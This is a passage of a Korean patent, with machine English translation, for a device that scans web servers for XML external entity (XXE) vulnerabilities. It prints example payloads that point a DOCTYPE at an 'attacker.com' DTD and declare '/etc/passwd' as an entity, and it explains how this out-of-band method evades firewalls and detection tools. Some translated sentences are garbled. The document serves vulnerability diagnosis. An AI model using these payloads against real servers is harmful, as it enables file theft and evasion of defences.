다만, "DOCTYPE"과 "SYSTEM"을 결합하는 경우, 페이지 내에 "출력"은 할 수 없지만, "실행"은 가능하므로, 외부 서버(10)에 저장된 DTD 파일을 호출하는 OOB 방식을 활용한다면, 호출없이 선언문에서 즉시 원하는 행위에 대한 실행을 수행할 수 있다. However, when "DOCTYPE" and "SYSTEM" are combined, "output" in the page is not possible, but "execution" is possible. You can immediately perform the action you want in the declaration without it.

즉, 보안 솔루션 등은 일반적으로 XXE 취약점에 따른 공격시 외부에서의 "ENTITY" 구문을 이용할 것으로 예상하므로, "DOCTYPE"에서의 직접 호출에 대하여는 검증이 생략될 수 있다. 따라서, "DOCTYPE"과 "SYSTEM" 명령어를 이용하는 경우, 보안솔루션 등에 의한 필터링을 피하는 것이 가능하다. That is, since security solutions generally expect to use the "ENTITY" syntax from the outside when attacking according to the XXE vulnerability, verification may be omitted for a direct call from "DOCTYPE". Therefore, when using the "DOCTYPE" and "SYSTEM" commands, it is possible to avoid filtering by a security solution or the like.

또한, 변조부(120)가 OOB 방식을 활용하는 경우, 변조 DTD 구문에는 변수 선언시 외부 서버(10)에 저장된 DTD 파일을 참조하도록 기재될 수 있다. 예를들어, 변조 DTD 구문에는 <!DOCTYPE root SYSTEM "http://attacker.com/xxe.xxe.dtd">와 같은 구문이 포함될 수 있다. 즉, "http://attacker.com"으로 외부서버(10)에 접속한 후, 외부서버(10)의 "xxe.xxe.dtd" 파일을 참조하도록 할 수 있다. In addition, when the modulator 120 uses the OOB method, the modulation DTD syntax may be described to refer to the DTD file stored in the external server 10 when declaring a variable. For example, the tampering DTD syntax may include a syntax such as <!DOCTYPE root SYSTEM "http://attacker.com/xxe.xxe.dtd">. That is, after accessing the external server 10 through "http://attacker.com", the file "xxe.xxe.dtd" of the external server 10 may be referred to.

이 경우, 외부 서버(10)의 xxe.dtd 파일 내에는, <!ENTITY cmd SYSTEM "file:///etc/passwd">와 같은 공격구문을 포함될 수 있다. 즉, 사용자의 아이디, 패스워드 등 민감한 정보가 저장된 "/etc/passwd"를 "cmd"와 같은 변수에 선언하고, 이후 "cmd"를 호출하는 등의 방식으로 "/etc/passwd" 등 중요 파일을 추출하도록 할 수 있다. 즉, 공격대상 파일을 특정 변수로 선언하는 등의 공격구문을 외부 서버(10) 내에 포함함으로써, XXE 공격에 대한 탐지를 회피할 수 있다. 여기서, 각각의 외부 서버(10)와, 외부 서버(10) 내에 포함되는 DTD 파일 등은 진단장치(100)에 의하여 미리 구비되고 설정되어 있을 수 있다. In this case, an attack phrase such as <!ENTITY cmd SYSTEM "file:///etc/passwd"> may be included in the xxe.dtd file of the external server 10 . In other words, declaring "/etc/passwd", which stores sensitive information such as user ID and password, in a variable such as "cmd", and then calling "cmd" to save important files such as "/etc/passwd". can be extracted. That is, by including an attack phrase such as declaring an attack target file as a specific variable in the external server 10, detection of the XXE attack can be avoided. Here, each external server 10 and the DTD file included in the external server 10 may be provided and set in advance by the diagnosis apparatus 100 .

이와 같이, URI 변조부(120)에서 사용하는 변조 DTD 구문의 경우, 호출부분이 XML 문서의 태그 구조에 의존적이지 않으므로, 각각의 XML 문서들에 대하여 범용적으로 사용가능하다. 또한, 변조 DTD 구문에서는 공격대상데이터를 직접 출력하지 않으므로, 진단대상 서버(200)가 제공하는 웹 사이트의 기능에 의존하지 않고도 XXE 취약점을 진단할 수 있다. 이외에도, 변조 DTD 구문은 일반적인 필터링에 의하여 감지되거나 차단되지 않으므로, 효과적인 XXE 취약점 진단이 가능하다. As described above, in the case of the modulation DTD syntax used by the URI modulator 120 , since the calling part does not depend on the tag structure of the XML document, it can be used universally for each XML document. In addition, since the target data is not directly output in the tampered DTD syntax, the XXE vulnerability can be diagnosed without relying on the function of the web site provided by the diagnosis target server 200 . In addition, since the tampered DTD syntax is not detected or blocked by general filtering, effective XXE vulnerability diagnosis is possible.

나아가, XXE 취약점의 경우, 공격구문의 인풋과 결과의 아웃풋 과정에서 방화벽이나 탐지 솔루션에 의해 차단될 가능성이 높으나, 본 발명의 경우 일반적인 "ENTITY" 구문을 사용하지 않고, OOB 방식으로 외부로 응답을 전송하므로, 대부분의 탐지 솔루션을 우회할 수 있다. Furthermore, in the case of the XXE vulnerability, there is a high possibility that it will be blocked by a firewall or a detection solution in the process of inputting the attack phrase and outputting the result. transmission, so it can bypass most detection solutions.

진단부(130)는 진단대상서버(200)로 변조 URI를 전송하여 변조 URI에 대한 응답을 요청할 수 있으며, 진단대상 서버(200)의 응답으로부터 XXE 취약점의 존재여부를 판별할 수 있다. 즉, 진단부(130)는 변조 URI에 대응하여 진단대상 서버(200)에 포함된 공격대상 파일이 노출되면, XXE 취약점이 존재하는 것으로 판별할 수 있다. The diagnosis unit 130 may request a response to the forged URI by transmitting the forged URI to the diagnosis target server 200 , and may determine whether an XXE vulnerability exists from the response of the diagnosis target server 200 . That is, when the attack target file included in the diagnosis target server 200 is exposed in response to the forged URI, the diagnosis unit 130 may determine that the XXE vulnerability exists.

한편, 실시예에 따라서는, 진단대상 서버(200)의 외부 서버(10)로의 접속시도하는 경우에도, XXE 취약점이 존재하는 것으로 판별할 수 있다. 즉, 실제 공격대상파일이 노출되지 않았다고 하여도, 진단대상 서버(200)의 외부 서버(10) 접속은 공격자의 변조 DTD 구문에 의한 것이므로, 공격자에 의한 XML 문서에 대한 개입이 성공한 것으로 볼 수 있다. 따라서, 이 경우 진단부(130)는 해당 진단대상 서버(200)에 XXE 취약점이 존재하는 것으로 판별할 수 있다. On the other hand, depending on the embodiment, it can be determined that the XXE vulnerability exists even when an attempt is made to connect the diagnosis target server 200 to the external server 10 . That is, even if the actual attack target file is not exposed, the connection to the external server 10 of the diagnosis target server 200 is due to the attacker's tampered DTD syntax, so it can be seen that the attacker's intervention in the XML document was successful. . Accordingly, in this case, the diagnosis unit 130 may determine that the XXE vulnerability exists in the corresponding diagnosis target server 200 .

도5는 본 발명의 일 실시예에 의한 취약점 진단 방법을 나타내는 순서도이다. 여기서, 각 단계는 XXE 취약점을 진단하는 진단장치에 의하여 수행될 수 있다. 5 is a flowchart illustrating a vulnerability diagnosis method according to an embodiment of the present invention. Here, each step may be performed by a diagnostic device for diagnosing the XXE vulnerability.

도5를 참조하면, 진단장치는 진단대상 서버로부터 추출한 진단대상 URI를 수신할 수 있다(S110). 진단대상 서버에는 복수의 진단대상 URI들이 포함될 수 있으며, 진단장치는 진단대상 서버로부터 각각의 진단대상 URI들을 수집할 수 있다. 실시예에 따라서는, 웹 크롤러를 이용하여 진단대상 URI를 수집하는 것도 가능하다.Referring to FIG. 5 , the diagnosis apparatus may receive the diagnosis target URI extracted from the diagnosis target server (S110). The diagnosis target server may include a plurality of diagnosis target URIs, and the diagnosis apparatus may collect respective diagnosis target URIs from the diagnosis target server. According to an embodiment, it is also possible to collect a diagnostic target URI using a web crawler.

진단장치는, 진단대상 URI에 포함되는 XML문서의 DTD 영역 내에, 변조 DTD 구문을 더 포함하도록 변조하여, 변조 URI를 생성할 수 있다(S120). 여기서, 진단장치는 진단대상 URI 중에서, POST 형식을 가지는 진단대상 URI를 이용하여 변조 URI를 생성할 수 있다. 즉, GET 형식의 진단대상 URI의 경우 XML 문서를 포함하지 않으므로, XML 문서를 가질 수 있는 POST 형식의 진단대상 URI를 대상으로 변조 URI를 생성할 수 있다.The diagnostic apparatus may generate a modified URI by modulating the XML document included in the diagnostic target URI to further include a modified DTD syntax in the DTD area (S120). Here, the diagnosis apparatus may generate a forged URI by using a diagnosis subject URI having a POST format among the diagnosis subject URIs. That is, since an XML document is not included in the case of a GET-type diagnosis target URI, a tampered URI can be generated targeting a POST-type diagnosis target URI that can have an XML document.

구체적으로, 진단장치는 DTD 영역 내에 변조 DTD 구문을 추가하여, DTD 영역 내에서 진단대상 서버 내에 포함되는 공격대상 파일에 대한 선언과, 해당 공격대상 파일에 대한 호출까지 수행하도록 변조할 수 있다. 여기서, 변조 DTD 구문은 미리 설정되어 있는 것일 수 있으며, 변조 DTD 구문은 동일한 XML 문서 내의 DTD 영역 내에 모두 포함되거나, OOB 방식으로 외부 서버와의 통신을 수행하도록 구성될 수 있다. Specifically, the diagnosis apparatus may add a modulated DTD syntax in the DTD area to modulate the declaration of the attack target file included in the diagnosis target server in the DTD area and even call the corresponding attack target file in the DTD area. Here, the modulation DTD syntax may be preset, and the modulation DTD syntax may be all included in the DTD area in the same XML document or configured to communicate with an external server in an OOB method.

OOB 방식의 경우, 진단장치는 DTD 영역 내의 "DOCTYPE"과 "SYSTEM" 명령어를 이용하여, 진단대상 서버 내에 포함된 공격대상 파일을 선언할 수 있다. 즉, "DOCTYPE"과 "SYSTEM"을 결합하는 경우, 페이지 내에 "출력"은 할 수 없지만, "실행"은 가능하므로, 외부 서버에 저장된 DTD 파일을 호출하는 OOB 방식과 결합하여, 호출없이 선언문에서 즉시 원하는 행위에 대한 실행을 수행하도록 할 수 있다. 이 경우, 기존의 보안솔루션 등에 의한 필터링을 회피할 수 있다. In the case of the OOB method, the diagnosis apparatus may declare the attack target file included in the diagnosis target server by using "DOCTYPE" and "SYSTEM" commands in the DTD area. In other words, when "DOCTYPE" and "SYSTEM" are combined, "output" within the page is not possible, but "execution" is possible. You can immediately perform the execution of the desired action. In this case, filtering by an existing security solution or the like can be avoided.

또한, OOB 방식을 활용하는 경우, 변조 DTD 구문에는 변수 선언시 외부 서버에 저장된 DTD 파일을 참조하도록 기재될 수 있으며, 외부 서버의 DTD 파일 내에는 공격대상파일을 선언하는 공격구문 등이 포함될 수 있다. 이후, 선언된 공격대상파일을 호출하는 등의 방식으로, 중요 파일을 추출하는 것이 가능하다. 이때, 공격대상 파일을 특정 변수로 선언하는 등의 공격구문은 외부 서버 내에 포함함으로써, XXE 공격에 대한 탐지를 회피할 수 있다 In addition, when the OOB method is used, the tampered DTD syntax may be written to refer to the DTD file stored in the external server when declaring a variable, and the DTD file of the external server may include an attack syntax for declaring an attack target file. . After that, it is possible to extract important files by calling the declared attack target file. At this time, by including the attack syntax such as declaring the attack target file as a specific variable in the external server, detection of the XXE attack can be avoided.

이후, 진단장치는 진단대상서버로 변조 URI를 전송하여 변조 URI에 대한 응답을 요청할 수 있으며(S130), 진단대상 서버의 응답으로부터 XXE 취약점의 존재여부를 판별할 수 있다(S140). 즉, 진단장치는 변조 URI에 대응하여 진단대상 서버에 포함된 공격대상 파일이 노출되면, XXE 취약점이 존재하는 것으로 판별할 수 있다. 한편, 실시예에 따라서는, 진단대상 서버가 외부 서버로 접속을 시도하면, XXE 취약점이 존재하는 것으로 판별할 수 있다. 즉, 실제 공격대상파일이 노출되지 않았다고 하여도, 진단대상 서버가 외부 서버로 접속한 것은 공격자의 변조 DTD 구문에 의한 것에 해당한다. 즉, 공격자가 XML 문서에 대한 개입이 성공한 것이므로, 진단장치는 해당 진단대상 서버에 XXE 취약점이 존재하는 것으로 판별할 수 있다.Thereafter, the diagnosis apparatus may request a response to the forged URI by transmitting the forged URI to the diagnosis target server (S130), and may determine whether the XXE vulnerability exists from the response of the diagnosis target server (S140). That is, when an attack target file included in the diagnosis target server is exposed in response to the forged URI, the diagnosis apparatus can determine that the XXE vulnerability exists. Meanwhile, according to an embodiment, when the server to be diagnosed attempts to connect to an external server, it may be determined that the XXE vulnerability exists. That is, even if the actual attack target file is not exposed, the connection of the diagnosis target server to the external server corresponds to the attacker's tampered DTD syntax. That is, since the attacker's intervention in the XML document is successful, the diagnostic device can determine that the XXE vulnerability exists in the server to be diagnosed.

전술한 본 발명은, 프로그램이 기록된 매체에 컴퓨터가 읽을 수 있는 코드로서 구현하는 것이 가능하다. 컴퓨터가 읽을 수 있는 매체는, 컴퓨터로 실행 가능한 프로그램을 계속 저장하거나, 실행 또는 다운로드를 위해 임시 저장하는 것일 수도 있다. 또한, 매체는 단일 또는 수개 하드웨어가 결합된 형태의 다양한 기록수단 또는 저장수단일 수 있는데, 어떤 컴퓨터 시스템에 직접 접속되는 매체에 한정되지 않고, 네트워크 상에 분산 존재하는 것일 수도 있다. 매체의 예시로는, 하드 디스크, 플로피 디스크 및 자기 테이프와 같은 자기 매체, CD-ROM 및 DVD와 같은 광기록 매체, 플롭티컬 디스크(floptical disk)와 같은 자기-광 매체(magneto-optical medium), 및 ROM, RAM, 플래시 메모리 등을 포함하여 프로그램 명령어가 저장되도록 구성된 것이 있을 수 있다. 또한, 다른 매체의 예시로, 애플리케이션을 유통하는 앱 스토어나 기타 다양한 소프트웨어를 공급 내지 유통하는 사이트, 서버 등에서 관리하는 기록매체 내지 저장매체도 들 수 있다. 따라서, 상기의 상세한 설명은 모든 면에서 제한적으로 해석되어서는 아니되고 예시적인 것으로 고려되어야 한다. 본 발명의 범위는 첨부된 청구항의 합리적 해석에 의해 결정되어야 하고, 본 발명의 등가적 범위 내에서의 모든 변경은 본 발명의 범위에 포함된다.The present invention described above can be implemented as computer-readable code on a medium in which a program is recorded. The computer-readable medium may continuously store a computer-executable program, or may be temporarily stored for execution or download. In addition, the medium may be various recording means or storage means in the form of a single or several hardware combined, it is not limited to a medium directly connected to any computer system, and may exist distributed on a network. Examples of the medium include a hard disk, a magnetic medium such as a floppy disk and a magnetic tape, an optical recording medium such as CD-ROM and DVD, a magneto-optical medium such as a floppy disk, and those configured to store program instructions, including ROM, RAM, flash memory, and the like. In addition, examples of other media may include recording media or storage media managed by an app store that distributes applications, sites that supply or distribute various other software, or servers. Accordingly, the above detailed description should not be construed as restrictive in all respects but as exemplary. The scope of the present invention should be determined by a reasonable interpretation of the appended claims, and all modifications within the equivalent scope of the present invention are included in the scope of the present invention.

본 발명은 전술한 실시예 및 첨부된 도면에 의해 한정되는 것이 아니다. 본 발명이 속하는 기술분야에서 통상의 지식을 가진 자에게 있어, 본 발명의 기술적 사상을 벗어나지 않는 범위 내에서 본 발명에 따른 구성요소를 치환, 변형 및 변경할 수 있다는 것이 명백할 것이다.The present invention is not limited by the above embodiments and the accompanying drawings. For those of ordinary skill in the art to which the present invention pertains, it will be apparent that components according to the present invention can be substituted, modified and changed without departing from the technical spirit of the present invention.

1: 단말장치 10: 외부서버
100: 진단장치 110: URI 수집부
120: URI 변조부 130: 진단부
200: 진단대상서버
1: terminal device 10: external server
100: diagnostic device 110: URI collection unit
120: URI modulator 130: diagnostic unit
200: diagnosis target server

Claims (10)

XXE(XML eXternal Entity) 취약점을 진단하는 진단장치의 취약점 진단방법에 있어서,
진단대상 서버로부터 추출한 진단대상 URI(Uniform Resource Identifier)를 수신하는 단계;
상기 진단대상 URI에 포함되는 XML(eXtensible Markup Language) 문서의 DTD(Document Type Definition) 영역 내에, 변조 DTD 구문을 더 포함하도록 변조하여, 변조 URI를 생성하는 단계;
상기 진단대상서버로 상기 변조 URI를 전송하여 상기 변조 URI에 대한 응답을 요청하는 단계; 및
상기 진단대상 서버의 응답으로부터 상기 XXE 취약점의 존재여부를 판별하는 단계를 포함하는 취약점 진단방법.
In the vulnerability diagnosis method of a diagnostic device for diagnosing XXE (XML eXternal Entity) vulnerabilities,
receiving a diagnosis subject Uniform Resource Identifier (URI) extracted from a diagnosis subject server;
generating a modulated URI by modulating to further include a modulated DTD syntax in a Document Type Definition (DTD) area of an XML (eXtensible Markup Language) document included in the diagnosis target URI;
transmitting the forged URI to the diagnosis target server and requesting a response to the forged URI; and
and determining whether the XXE vulnerability exists from the response of the server to be diagnosed.
제1항에 있어서, 상기 변조 URI를 생성하는 단계는
상기 진단대상 URI 중에서, POST 형식을 가지는 진단대상 URI를 이용하여, 상기 변조 URI를 생성하는 것을 특징으로 하는 취약점 진단방법.
The method of claim 1, wherein the generating of the tampered URI comprises:
The method for diagnosing a vulnerability, characterized in that the forged URI is generated by using a diagnosis target URI having a POST format among the diagnosis target URIs.
제1항에 있어서, 상기 변조 DTD 구문은
상기 DTD 영역 내에서 상기 진단대상 서버 내에 포함되는 공격대상 파일을 선언하여, 호출까지 하도록 하는 것을 특징으로 하는 취약점 진단방법.
The method of claim 1, wherein the modulation DTD syntax is
A vulnerability diagnosis method, characterized in that by declaring an attack target file included in the diagnosis target server within the DTD area, and even calling it.
제3항에 있어서, 상기 변조 URI를 생성하는 단계는
상기 DTD 영역 내의 "DOCTYPE"과 "SYSTEM" 명령어를 이용하여, 상기 진단대상 서버 내에 포함된 공격대상 파일을 선언하고, 호출하는 것을 특징으로 하는 취약점 진단방법.
The method of claim 3, wherein the generating of the forged URI comprises:
Vulnerability diagnosis method, characterized in that by using "DOCTYPE" and "SYSTEM" commands in the DTD area to declare and call the attack target file included in the diagnosis target server.
제1항에 있어서, 상기 변조 DTD 구문은
OOB(Out Of Band) 방식을 활용하여, 변수 선언시 외부 서버에 저장된 DTD 파일을 참조하도록 하는 것을 특징으로 하는 취약점 진단방법.
The method of claim 1, wherein the modulation DTD syntax is
A method for diagnosing vulnerabilities, characterized in that, when declaring a variable, a DTD file stored in an external server is referred to by using the OOB (Out Of Band) method.
제5항에 있어서, 상기 변조 URI를 생성하는 단계는
상기 진단대상 서버 내에 포함된 공격대상 파일을 특정 변수로 선언하는 공격구문은, 상기 외부 서버의 DTD 파일 내에 포함시키는 것을 특징으로 하는 취약점 진단방법.
The method of claim 5, wherein the generating of the forged URI comprises:
An attack syntax for declaring an attack target file included in the diagnosis target server as a specific variable is included in the DTD file of the external server.
제1항에 있어서, 상기 XXE 취약점의 존재여부를 판별하는 단계는
상기 변조 URI에 따라, 상기 진단대상 서버에 포함된 공격대상 파일이 노출되면, 상기 XXE 취약점이 존재하는 것으로 판별하는 것을 특징으로 하는 취약점 진단방법.
The method of claim 1, wherein determining whether the XXE vulnerability exists
The vulnerability diagnosis method, characterized in that when the target file included in the diagnosis target server is exposed according to the forged URI, it is determined that the XXE vulnerability exists.
제5항에 있어서, 상기 XXE 취약점의 존재여부를 판별하는 단계는
상기 진단대상 서버의 상기 외부 서버로의 접속시도가 존재하면, 상기 XXE 취약점이 존재하는 것으로 판별하는 것을 특징으로 하는 취약점 진단방법.
The method of claim 5, wherein determining whether the XXE vulnerability exists
If there is an attempt to access the external server by the server to be diagnosed, it is determined that the XXE vulnerability exists.
하드웨어와 결합되어 제1항 내지 제8항 중 어느 한 항의 취약점 진단방법을 수행하기 위하여 매체에 저장된 컴퓨터 프로그램.
A computer program stored in a medium in combination with hardware to perform the method for diagnosing the vulnerability of any one of claims 1 to 8.
XXE(XML eXternal Entity) 취약점을 진단하는 진단장치에 있어서,
진단대상 서버로부터 추출한 진단대상 URI(Uniform Resource Identifier)를 수신하는 URI 수집부;
상기 진단대상 URI에 포함되는 XML(eXtensible Markup Language) 문서의 DTD(Document Type Definition) 영역 내에, 변조 DTD 구문을 더 포함하도록 변조하여, 변조 URI를 생성하는 URI 변조부; 및
상기 진단대상서버로 상기 변조 URI를 전송하여 상기 변조 URI에 대한 응답을 요청하고, 상기 진단대상 서버의 응답으로부터 상기 XXE 취약점의 존재여부를 판별하는 진단부를 포함하는 진단장치.
In a diagnostic device for diagnosing XXE (XML eXternal Entity) vulnerabilities,
a URI collecting unit for receiving a diagnosis target Uniform Resource Identifier (URI) extracted from a diagnosis target server;
a URI modulator that modulates a document type definition (DTD) area of an XML (eXtensible Markup Language) document included in the diagnosis target URI to further include a modulated DTD syntax to generate a modulated URI; and
and a diagnosis unit that transmits the forged URI to the diagnosis target server, requests a response to the forged URI, and determines whether the XXE vulnerability exists from the response of the diagnosis target server.
KR1020200126212A 2020-09-28 2020-09-28 Apparatus and method for analyzing vulnerabilities KR102459418B1 (en)

Priority Applications (1)

Application Number Priority Date Filing Date Title
KR1020200126212A KR102459418B1 (en) 2020-09-28 2020-09-28 Apparatus and method for analyzing vulnerabilities

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
KR1020200126212A KR102459418B1 (en) 2020-09-28 2020-09-28 Apparatus and method for analyzing vulnerabilities

Publications (2)

Publication Number Publication Date
KR20220042863A KR20220042863A (en) 2022-04-05
KR102459418B1 true KR102459418B1 (en) 2022-10-27

Family

ID=81182454

Family Applications (1)

Application Number Title Priority Date Filing Date
KR1020200126212A KR102459418B1 (en) 2020-09-28 2020-09-28 Apparatus and method for analyzing vulnerabilities

Country Status (1)

Country Link
KR (1) KR102459418B1 (en)

Citations (1)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
JP2004312154A (en) 2003-04-03 2004-11-04 Dainippon Printing Co Ltd Mobile encryption / decryption apparatus

Family Cites Families (1)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
KR101001132B1 (en) * 2008-02-22 2010-12-15 엔에이치엔비즈니스플랫폼 주식회사 Method and System for Determining Vulnerability of Web Application

Patent Citations (1)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
JP2004312154A (en) 2003-04-03 2004-11-04 Dainippon Printing Co Ltd Mobile encryption / decryption apparatus

Also Published As

Publication number Publication date
KR20220042863A (en) 2022-04-05

Similar Documents

Publication Publication Date Title
Jeon et al. Dr. Android and Mr. Hide: fine-grained permissions in android applications
Seo et al. FLEXDROID: Enforcing In-App Privilege Separation in Android.
US11194914B2 (en) Method and apparatus to detect security vulnerabilities in a web application
US20200314136A1 (en) Apparatus and method for analyzing security vulnerabilities
KR20130126251A (en) System and method for web service monitoring
US9374377B2 (en) Mandatory protection control in virtual machines
Cho et al. Anti-debugging scheme for protecting mobile apps on android platform
CN110728575A (en) WEB security depth monitoring method for electric power transaction platform
JPWO2014021190A1 (en) Program execution device and program analysis device
CN113256296B (en) Intelligent contract execution method, system, device and storage medium
Ahmad et al. StaDART: addressing the problem of dynamic code updates in the security analysis of android applications
Wan et al. Practical and effective sandboxing for Linux containers
Niakanlahiji et al. Webmtd: Defeating cross-site scripting attacks using moving target defense
KR102459418B1 (en) Apparatus and method for analyzing vulnerabilities
KR102433386B1 (en) Apparatus and method for analyzing vulnerabilities
Xu et al. Practical dynamic taint analysis for countering input validation attacks on web applications
Caputo et al. Droids in disarray: Detecting frame confusion in hybrid android apps
Blasco et al. Detection of app collusion potential using logic programming
Bates et al. Retrofitting applications with provenance-based security monitoring
Merlo et al. Android vs. SEAndroid: An empirical assessment
Bissyandé et al. Vulnerabilities of government websites in a developing country–the case of Burkina Faso
KR102415833B1 (en) Apparatus and method for analyzing vulnerabilities
Wang et al. Pangu 9 internals
Elgharabawy et al. SAUSAGE: security analysis of unix domain socket usage in android
Wang et al. Taming transitive permission attack via bytecode rewriting on Android application

Legal Events

Date Code Title Description
E701 Decision to grant or registration of patent right